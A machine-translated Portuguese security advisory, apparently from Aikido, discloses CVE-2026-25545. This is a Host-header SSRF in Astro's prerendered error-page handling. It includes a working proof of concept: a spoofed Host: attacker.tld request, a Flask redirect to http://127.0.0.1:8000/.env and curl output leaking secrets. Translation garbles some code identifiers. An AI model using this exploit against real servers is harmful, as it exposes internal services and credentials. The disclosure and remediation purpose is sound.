O Astro é uma estrutura JavaScript front-end e back-end utilizada por muitas grandes organizações para facilitar o desenvolvimento de sites. Recentemente, um dos agentes do nosso produto Aikido identificou uma vulnerabilidade de gravidade média na implementação do lado do servidor dessa estrutura. Isso tornou qualquer servidor diretamente acessível pelo invasor vulnerável a falsificação de solicitação do lado do servidor (SSRF).
Agora conhecido como CVE-2026-25545, notificámos rapidamente os responsáveis pela manutenção do Astro para obter uma correção em apenas alguns dias. Versões astro@5.17.2, @astrojs/node@9.5.3 bem como a versão beta astro@6.0.0-beta.11 são corrigidos.
Resumo
Erros de renderização do lado do servidor (SSR) com uma página de erro personalizada pré-renderizada (por exemplo, 404.astro ou 500.astro) são vulneráveis a SSRF. Se o Apresentador: o cabeçalho é alterado para o servidor do invasor, /500.html será obtido do servidor deles e poderá ser redirecionado para qualquer outro URL interno. Esse redirecionamento é seguido e a resposta é devolvida ao invasor.
Quaisquer serviços no localhost ou na rede interna protegidos por firewalls e NAT podem ficar acessíveis dessa forma, o que pode ter consequências devastadoras, dependendo do que estiver hospedado.
Detalhes
pentest de IA encontrou esse problema enquanto estávamos a pesquisar, então vamos explicar o seu raciocínio à medida que analisamos os detalhes dessa vulnerabilidade.
O Astro pode renderizar páginas em dois modos: «estático» e «servidor». Sites simples podem não precisar de um servidor e podem ser exportados como ficheiros HTML estáticos, enquanto outros requerem lógica do lado do servidor. Pode decidir o que é necessário para cada página.
Para a página inicial, pode pré-renderizar um ficheiro HTML que permanecerá sempre o mesmo e só mudará quando for compilado novamente. Para renderizar sob demanda, como para um contador de visualizações, é necessária a renderização do lado do servidor (SSR).
A utilização do SSR requer que defina a opção de configuração de saída para 'servidor' em astro.config.mjs:
export default defineConfig({
output: 'server'
})
Um exemplo interessante são as páginas de erro no Astro. Qualquer rota pode retornar erros como 404 Not Found ou 500 Internal Server Error, que são exibidos de forma agradável nas páginas de erro padrão.
Como programador, pode criar um página de erro personalizada com 404.astro ou 500.astro. Por uma questão de eficiência, estes são pré-renderizados como ficheiros HTML sempre que possível. O interessante é que agora o servidor deve retornar uma resposta pré-renderizada.
Isso é implementado de uma forma um pouco estranha: o servidor obtém /404.html ou /500.html de si mesmo e retorna esse resultado. Pode ler isto em renderError():
1async #renderError(...): Promise<Response> {
2 const errorRoutePath = `/${status}${this.#manifest.trailingSlash === 'always' ? '/' : ''}`;
3 const errorRouteData = matchRoute(errorRoutePath, this.#manifestData);
4 const url = new URL(request.url);
5 if (errorRouteData) {
6 if (errorRouteData.prerender) {
7 const maybeDotHtml = errorRouteData.route.endsWith(`/${status}`) ? '.html' : '';
8 const statusURL = new URL(
9 `${this.#baseWithoutTrailingSlash}/${status}${maybeDotHtml}`,
10 url, // base
11 );
12 if (statusURL.toString() !== request.url) {
13 const response = await prerenderedErrorPageFetch(statusURL.toString() as ErrorPagePath);
14 const override = { status, removeContentEncodingHeaders: true };
15 return this.#mergeResponses(response, originalResponse, override);
16 }
17 }
18 ...
19}
20A linha mais importante é prerenderedErrorPageFetch(statusURL), que é executado quando existe uma rota de erro personalizada e a página de erro é pré-renderizado (linha 13). No NodeJS, isso é simplesmente um pseudónimo para buscar() se opções.página de erro experimental não está definido.statusURL é construído a partir de request.url (linha 4). Esta propriedade vem de req.headers.host, também conhecido como o Apresentador: cabeçalho em HTTP.
static createRequest(...) {
const providedHostname = req.headers.host ?? req.headers[':authority'];
const validated = App.validateForwardedHeaders(
getFirstForwardedValue(req.headers['x-forwarded-proto']),
getFirstForwardedValue(req.headers['x-forwarded-host']),
getFirstForwardedValue(req.headers['x-forwarded-port']),
allowedDomains,
);
const sanitizedProvidedHostname = App.sanitizeHost(
typeof providedHostname === 'string' ? providedHostname : undefined,
);
const hostname = validated.host ?? sanitizedProvidedHostname;
const hostnamePort = getHostnamePort(hostname, port);
url = new URL(`${protocol}://${hostnamePort}${req.url}`);
const request = new Request(url, options);
...
O Apresentador: O cabeçalho é sempre controlado pelo utilizador, uma vez que é apenas uma string arbitrária enviada pelo cliente. Como pode ver na lógica acima, o Astro usa req.headers.host construir request.url, que passa a ser a URL base para um buscar() chamada. O Astro confia na entrada para apontar para o próprio servidor, sem realmente validá-la. Isso é Injeção de cabeçalho do host, e é isso que torna o SSRF possível aqui.
GET /not-found HTTP/1.1
Host: attacker.tld
SSRF
Viemos aqui para Server-Side Request Forgery, mas não estamos muito longe neste momento. O pedido acima gera um erro 404 e, se uma página 404 personalizada estiver configurada, o nosso atacante.tld O cabeçalho do host será usado para enviar uma solicitação para http://attacker.tld/404.html .
Isso já nos permite obter este URL específico em qualquer host interno:
OBTER /404.html HTTP/1.1
host: attacker.tld
conexão: manter ativa
aceitar: */*
idioma de aceitação: *
sec-fetch-mode: cors
agente do utilizador: node
accept-encoding: gzip, deflate
Provavelmente não há muito conteúdo sensível em /404.html de um host arbitrário. Felizmente para nós, buscar() segue automaticamente os redirecionamentos. Um facto que podemos aproveitar, pois já conseguimos fazer com que o servidor Astro solicite o site do nosso invasor. Tudo o que precisamos fazer é redirecionar de http://attacker.tld/404.html para algum URL sensível como http://127.0.0.1:8000/.env!
Vamos configurar um servidor básico para lidar com isso:
from flask import Flask,redirect
app = Flask(__name__)
@app.route("/404.html")
def exploit(): return redirect("http://127.0.0.1:8000/.env")
if __name__ == "__main__":
app.run()
Em seguida, enviamos novamente a nossa solicitação maliciosa:
$ curl -i 'http://localhost:4321/not-found' -H 'Host: attacker.tld'
HTTP/1.1 404 OK
content-type: text/plainserver:SimpleHTTP/0.6Python/3.12.3
Connection: keep-alive
Keep-Alive:timeout=5
Transfer-Encoding: chunked
SECRET=...
Sucesso! A página 404 foi obtida do invasor e redirecionada para 127.0.0.1:8000, e a sua resposta (cabeçalhos e corpo) foi devolvida. Com isso, um invasor poderia mapear toda a rede interna, interagindo com os serviços para ler informações potencialmente confidenciais.
Requisitos
Para que um invasor explore essa vulnerabilidade, existem alguns requisitos:
- O servidor deve estar no modo de renderização do lado do servidor (caso contrário, será apenas HTML estático).
- O
Apresentador:O cabeçalho deve ser não sanitizado. Alguns proxies validam este cabeçalho, pelo que pode ser necessário encontrar o - IP de origem do servidor Astro para se conectar diretamente a ele.
- No código-fonte, o programador deve ter configurado um
404.astro,404.md, ou500.astroarquivo. Isso é comum em aplicações maiores.
Conforme mostrado, usar um erro 404 ao visitar algum caminho não roteado é o caminho de exploração mais provável. Mas se uma página personalizada de Erro Interno do Servidor estiver configurada, acionar qualquer erro com um cabeçalho Host: falsificado também pode acionar a vulnerabilidade da mesma forma.
Remediação
Depois de ver a vulnerabilidade relatada pelo nosso agente de IA, rapidamente a comunicámos aos responsáveis pela manutenção do Astro, que tiveram uma correção pronta em apenas alguns dias.
As versões corrigidas começam a partir de:
astro@5.17.2astro@6.0.0-beta.11@astrojs/node@9.5.3
A solução deles era repensar o prerenderedErrorPageFetch() função, que era um wrapper para fetch(), antes. Agora /404 ou /500 os ficheiros são lidos diretamente do disco, e tudo o resto só é obtido se opções.página de erro experimental é explicitamente definido, indicando de onde deve ser obtido. O cabeçalho Host: agora também é validado, de forma semelhante à forma como X-Forwarded-Host: já era, para impedir que um invasor interferisse com request.url em Astro.
Esta vulnerabilidade resume-se a confiar nas entradas do utilizador no Apresentador: cabeçalho, o que nunca se deve fazer. Funcionalidades mágicas como redirecionamento por padrão de
buscar() também pode levar a consequências inesperadas. É bom estar ciente do que as funções que você chama fazem exatamente, lendo a documentação delas.
A exploração desta vulnerabilidade acaba por ser bastante simples e fácil de testar. Basta solicitar uma página inexistente com um formato incorreto. Apresentador: cabeçalho. Esses ataques podem até mesmo ser encontrados sem código-fonte, brincando com o aplicativo, o que
O teste de penetração de IAAikido pode fazer isso. No entanto, ele também possui fortes capacidades de análise de código (whitebox), como pode ser visto neste relatório.
Cronograma
- 2 de fevereiro de 2026: Aikido identificou a vulnerabilidade e criou um PoC funcional.
- 3 de fevereiro de 2026: Divulgação responsável aos mantenedores do Astro
- 3 de fevereiro de 2026: Relatório confirmado pelos mantenedores do Astro e início do trabalho para corrigir o problema
- 4 de fevereiro de 2026: CVE-2026-25545 é criado pelo GitHub
- 11 de fevereiro de 2026: A correção foi lançada nas novas versões do Astro (
astro@5.17.2,astro@6.0.0-beta.11, e@astrojs/node@9.5.3)

